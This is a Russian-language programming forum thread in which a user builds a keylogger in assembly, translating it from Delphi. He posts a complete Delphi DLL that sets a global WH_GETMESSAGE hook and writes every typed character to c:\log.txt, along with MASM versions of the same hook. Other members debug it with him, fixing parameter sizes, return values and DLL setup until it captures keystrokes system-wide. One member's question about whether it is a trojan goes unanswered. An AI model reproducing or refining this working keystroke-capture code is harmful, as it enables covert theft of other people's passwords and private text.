Перейти к содержимому

Фотография

TranslateMessage & asm


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 17

#1
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений
в общем хочу написать кейлоггер на асме...
основная идея - использются "хуки", длл-ка содержит функции hook, unhook(и экспортирует их) и внутренняя функция catch - обработчик хука

код процедуры catch
; ...................
catch  proc  code:WORD, wParam:DWORD, lParam:DWORD	
	cmp code, 0
	jge @f
	invoke CallNextHookEx, theHook, code, wParam, lParam
	ret
@@:
	mov eax, lParam	
	assume eax:PTR MSG
	cmp [eax].message, WM_CHAR
	jnz @@not_a_WM_CHAR
;;;;;;;;;;	invoke TranslateMessage, eax
  mov bl, BYTE PTR [eax].wParam; ASCII нажатой клавиши
  mov t, bl; t DB 'x',0 выше
  invoke MessageBox, NULL, addr t, addr t, MB_OK  

  invoke _lopen, lpLogFile, OF_WRITE
  cmp eax, -1
  jnz @@file_open_ok
  	invoke _lcreat, lpLogFile, 0
  @@file_open_ok:
  mov hFile, eax
  invoke _llseek, hFile, 0, FILE_END
  invoke _lwrite, hFile, addr t, 1	
  invoke _lclose, hFile

	@@not_a_WM_CHAR:
	
	invoke CallNextHookEx, theHook, code, wParam, lParam
	xor eax, eax	
	ret
catch	endp
; ...................

так вот, суть в том что она работает, но отлавлиает только английские буквы....
вообще, я перевожу код с delphi на асм. так вот, в delphiшном проекте, после того как я стал использовать TranslateMessage она прекрасно работала и с русскими буквами....однако когда я стал использовать ее в коде на асме, MessageBox из catche вообще перестал выполняться :)

я посмотрел доку....там написано что TranslateMessage не изменяет самого сообщения, которое передается ей в качестве параметра....а только отсылает сообщение WM_CHAR

вот я немного запутался....получается если я вызову TranslateMessage, то она отправит мессагу, и снова запустится catch???

в общем объясните что вообще делает эта TranslateMessage

зы. код на делфи
library hookdll;
uses
  windows,messages, sysutils;
const
  KEYHITSQUESIZE=10;
var
  theHook: HHOOK;
  keyhits: string[KEYHITSQUESIZE];
  curfile: textfile;

function hookproc(code: integer; w: WPARAM; l:LPARAM):LRESULT; stdcall;
var
  ch: char;
  chcode: byte;
begin
  if code< 0 then begin
     result:=CallNextHookEx(theHook,code,w,l);
     Exit;
  end;
  if TMSg(pointer(l)^).message=WM_CHAR then begin
     translatemessage(TMSg(pointer(l)^));
     chcode:=TMSg(pointer(l)^).wParam;
     ch:=chr(chcode);
            keyhits:=keyhits+ch;
            if length(keyhits)=KEYHITSQUESIZE then begin 
              Assignfile(CurFile,'c:\log.txt');
              Append(CurFile);
              write(Curfile, keyhits);
              closefile(curfile);
              keyhits:='';
            end;
   end;
   CallNextHookEx(theHook, code, w, l);
   result:=0;
end;

procedure hook;stdcall;
begin
  theHook:=setwindowshookex(WH_GETMESSAGE, @hookproc, HInstance, 0);
end;

procedure unhook;stdcall;
begin
  UnhookWindowsHookEx(theHook);
end;

exports hook, unhook;

begin

end.

  • 0

#2
Anatem

Anatem

    Dungeon Master

  • В доску свой
  • 1 636 сообщений
Объясняю :)

The TranslateMessage function translates virtual-key messages into character messages. The character messages are posted to the calling thread's message queue, to be read the next time the thread calls the GetMessage or PeekMessage function.

Вот ;)

The TranslateMessage function does not modify the message pointed to by the lpMsg parameter.

WM_KEYDOWN and WM_KEYUP combinations produce a WM_CHAR or WM_DEADCHAR message. WM_SYSKEYDOWN and WM_SYSKEYUP combinations produce a WM_SYSCHAR or WM_SYSDEADCHAR message.

TranslateMessage produces WM_CHAR messages only for keys that are mapped to ASCII characters by the keyboard driver.

If applications process virtual-key messages for some other purpose, they should not call TranslateMessage. For instance, an application should not call TranslateMessage if the TranslateAccelerator function returns a nonzero value. Note that the application is responsible for retrieving and dispatching input messages to the dialog box. Most applications use the main message loop for this. However, to permit the user to move to and to select controls by using the keyboard, the application must call IsDialogMessage. For more information, see Dialog Box Keyboard Interface.

Собственно всё ;)
  • 0

#3
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений
читал....местами не понял....это получается после TranslateMessage надо вызывать GetMessage что ли чтобы символ достать?
  • 0

#4
Коляныч

Коляныч
  • В доску свой
  • 2 773 сообщений
imho, чиво-то ты перемудряешь. Не нужен тебе translatemessage - его приложение, которое ты хукаешь само должно делать в основном Message Loop'е. Обработчик простой как карандаш:

LRESULT CALLBACK
HookGetMsgProc(
    INT hc,
    WPARAM wParam,
    LPARAM lParam
    )
{
    PMSG pmsg;

    pmsg = (PMSG)lParam;

    if (hc >= 0 && pmsg && pmsg->message == WM_CHAR)
    {
        WPARAM keyCode = pmsg->wParam;
	...
    }

    return CallNextHookEx(NULL, hc, wParam, lParam);
}

  • 0

#5
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений
такс....вроде запахало без TranslateMessage ... терь вот такая трабла.... при запуске проги, которая включает хуки, отказывается работать Shift+Ctrl, т.е. при нажатии их раскладка не переключается....и еще.... почему-то хук не работает для текстбокса типа Пуск->Выполнить, адресной строки эсплорера и еще нескольких .... кто-нить знает почему?

код хука
catch  proc  code:WORD, wParam:DWORD, lParam:DWORD	
	cmp code, 0
	jge @f
	invoke CallNextHookEx, theHook, code, wParam, lParam
	ret
@@:
	mov eax, lParam	
	assume eax:PTR MSG

	cmp [eax].message, WM_CHAR
	jnz @@not_a_WM_CHAR
  mov bl, BYTE PTR [eax].wParam; char 
  mov t, bl

  invoke _lopen, lpLogFile, OF_WRITE
  cmp eax, -1
  jnz @@file_open_ok
  	invoke _lcreat, lpLogFile, 0
  @@file_open_ok:
  mov hFile, eax
  invoke _llseek, hFile, 0, FILE_END
  invoke _lwrite, hFile, addr t, 1	
  invoke _lclose, hFile
	@@not_a_WM_CHAR:
	invoke CallNextHookEx, theHook, code, wParam, lParam
	xor eax, eax	
	ret
catch	endp

  • 0

#6
Коляныч

Коляныч
  • В доску свой
  • 2 773 сообщений
не очень понятно зачем обнуление eax перед выходом
и вообще - пиши проще и читабельней, раз уж мы в форуме

catch  proc  code:WORD, wParam:DWORD, lParam:DWORD 
; сначала проверяем аргументы

    cmp code, 0
    jl @@safe_ret

    mov eax, lParam 
    or eax, eax
    jz @@safe_ret

    assume eax:PTR MSG
    cmp [eax].message, WM_CHAR
    jne @@safe_ret

; теперь всё самое интересное

    mov bl, BYTE PTR [eax].wParam; char 
    mov t, bl

; тут файловые операции
    ...

@@safe_ret:
    invoke CallNextHookEx, theHook, code, wParam, lParam
    ret

catch endp

  • 0

#7
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений

не очень понятно зачем обнуление eax перед выходом
и вообще - пиши проще и читабельней, раз уж мы в форуме


ок 8)
обнуление - тк

If code is less than zero, the hook procedure must pass the message to the CallNextHookEx function without further processing and should return the value(!!!) returned by CallNextHookEx.

[skipped]

Return Values

The return value should be zero. (!!!)


Сообщение отредактировал Kerberos: 19.08.2004, 10:06:30

  • 0

#8
demetrius13

demetrius13
  • Гость
  • 7 сообщений
2 Kerberos

А ты, дружище, часом не трояна пишешь? :dandy:
  • 0

#9
Коляныч

Коляныч
  • В доску свой
  • 2 773 сообщений
из Platform SDK November 2001:

Return Values
If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx.

If nCode is greater than or equal to zero, it is highly recommended that you call CallNextHookEx and return the value it returns; otherwise, other applications that have installed WH_GETMESSAGE hooks will not receive hook notifications and may behave incorrectly as a result. If the hook procedure does not call CallNextHookEx, the return value should be zero.
  • 0

#10
Коляныч

Коляныч
  • В доску свой
  • 2 773 сообщений
кста, ещё баг не углядел:
первый аргумент DWORD, а не WORD
  • 0

#11
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений

кста, ещё баг не углядел:
первый аргумент DWORD, а не WORD


аааа....блин....пиво с меня 8)
обыскался все....не пашет хоть убей...как на дворд исправил, все заработало 8)

терь остается вопрос, почему в окнах типа Пуск->Выполнить она не ловит мессаги :dandy:((( может это защита Вин ХР? или мож новые версии контролов??

зы
LRESULT CALLBACK GetMsgProc(
    int code,	// hook code
    WPARAM wParam,	// removal flag
    LPARAM lParam  // address of structure with message
   );	
всю жизнь думал что int это 2 байта....по крайней пере в делпхях так
  • 0

#12
Коляныч

Коляныч
  • В доску свой
  • 2 773 сообщений
х.з. посмотри каким-нибудь шпиёном типа Spy++ или борландовским WinSight на сообщения этого окна. Там вообще шлётся это сообщение WM_CHAR?
  • 0

#13
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений
хмм.....в общем WinSight32 показал что мессаги шлются.... WM_CHAR....
у меня вот на что есть подозрение....код естеснно я в дллке пишу.... при выполнении дллки в процедурке DLLEntry проверяю, если reason==DLL_ATTACH_PROCESS, т.е. если дллка была загружена вывожу MessageBox. Так вот, после запуска и установки хука, все приложения которые имеют окна, сразу выводят этот MessageBox... например Опера, апач, download master етц..... а вот это окно, которое "Выполнить"....оно походу получается дочернее эксплореровское...или хз....в общем подозрение есть что не грузит дллку оно :laugh:(( в какую сторону копать?
  • 0

#14
demetrius13

demetrius13
  • Гость
  • 7 сообщений
Не поленился проверить, в окошке Start->Run все прекрасно работает - и на 2K, и на XP. Естественно, не будет работать только в консольных приложениях, если ты для этого полез в Start->Run.

Ты откуда берешь значепние hInstance для вызова SetWindowsHookEx()? Его нужно запоминать в DllEntry, оно передается через параметр hModule в момент вызова DLL_PROCESS_ATTACH.

Насчет int и DWORD...

В Win32 параметры и возвращаемый результат всех функций (не только API) должны иметь выравнивание до DWORD (32 бита), даже если это char или BOOL. То же самое касается пользовательских функций, размещенных в DLL. Могу так же добавить, что большинство компиляторов в виндах (не знаю как Делфи) по умолчанию выравнивают каждый член структур и юнионов до значения кратного QWORD, а не BYTE. Все это потому, что в общем случае код, работающий в защищенном режмие с 32-битными регистрами и ячейками памяти, выполняется быстрее и имеет меньший размер.
  • 0

#15
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений

Не поленился проверить, в окошке Start->Run все прекрасно работает - и на 2K, и на XP. Естественно, не будет работать только в консольных приложениях, если ты для этого полез в Start->Run.


нет....именно не для консольных...а просто забиваю туда строку....

Ты откуда берешь значепние hInstance для вызова SetWindowsHookEx()? Его нужно запоминать в DllEntry, оно передается через параметр hModule в момент вызова DLL_PROCESS_ATTACH.


DLLEntry hInst:DWORD, reason:DWORD, resrv: DWORD
xor eax, eax
.if reason=DLL_PROCESS_ATTACH
push hInst
pop hInstance
mov eax, TRUE
.endif
ret
DLLEntry endp

Насчет int и DWORD...

В Win32 параметры и возвращаемый результат всех функций (не только API) должны иметь выравнивание до DWORD (32 бита), даже если это char или BOOL. То же самое касается пользовательских функций, размещенных в DLL. Могу так же добавить, что большинство компиляторов в виндах (не знаю как Делфи) по умолчанию выравнивают каждый член структур и юнионов до значения кратного QWORD, а не BYTE. Все это потому, что в общем случае код, работающий в защищенном режмие с 32-битными регистрами и ячейками памяти, выполняется быстрее и имеет меньший размер.


хммм....интересная инфа.....
а ваще-то запарился я с этим WH_GETMESSAGE .... буду ловить WH_KEYBOARD, правда с обработкой клавишь придется попариться..но кому щас лехко? 8)
  • 0

#16
demetrius13

demetrius13
  • Гость
  • 7 сообщений
Возвращай всегда TRUE (вынеси mov eax,TRUE за конструкцию if-endif). Надеюсь, TRUE у тебя определен как 0x00000001?
  • 0

#17
Kerberos

Kerberos
  • Постоялец
  • 334 сообщений

Возвращай всегда TRUE (вынеси mov eax,TRUE за конструкцию if-endif). Надеюсь, TRUE у тебя определен как 0x00000001?


аха.... TRUE equ 1
блин.....щас заметил что в эксплорере хуки не работают...причем WinSight не видит iexplore :laugh:((

в опщем чем дальше в лес...тем больше жопа :weep:
  • 0

#18
Коляныч

Коляныч
  • В доску свой
  • 2 773 сообщений
Kerberos
судя по всему ты где-то сам глючишь. Если WinSight не видит iexplore, то это проблема WinSight, а не хуков - майкрософтовские шпионы всё нормально видят и хукают. Могу тебе порекомендовать найти какую-нибудь работающую утилитку, доступную в исходниках, отрезать от неё всё ненужное, перевести в asm, раз уж тебе именно в асме нужно, потом добавить свою особенную функциональность.

Если хочешь, могу кинуть тебе исходники майкрософтовского Spy из sdktools (идут в комплекте MSDN), для компиляции потребуется Visual C++ ver >= 6, но они очень простые и легко читабельные
  • 0


Количество пользователей, читающих эту тему: 1

пользователей: 0, неизвестных прохожих: 1, скрытых пользователей: 0

Размещение рекламы на сайте     Предложения о сотрудничестве     Служба поддержки пользователей

© 2011-2022 vse.kz. При любом использовании материалов Форума ссылка на vse.kz обязательна.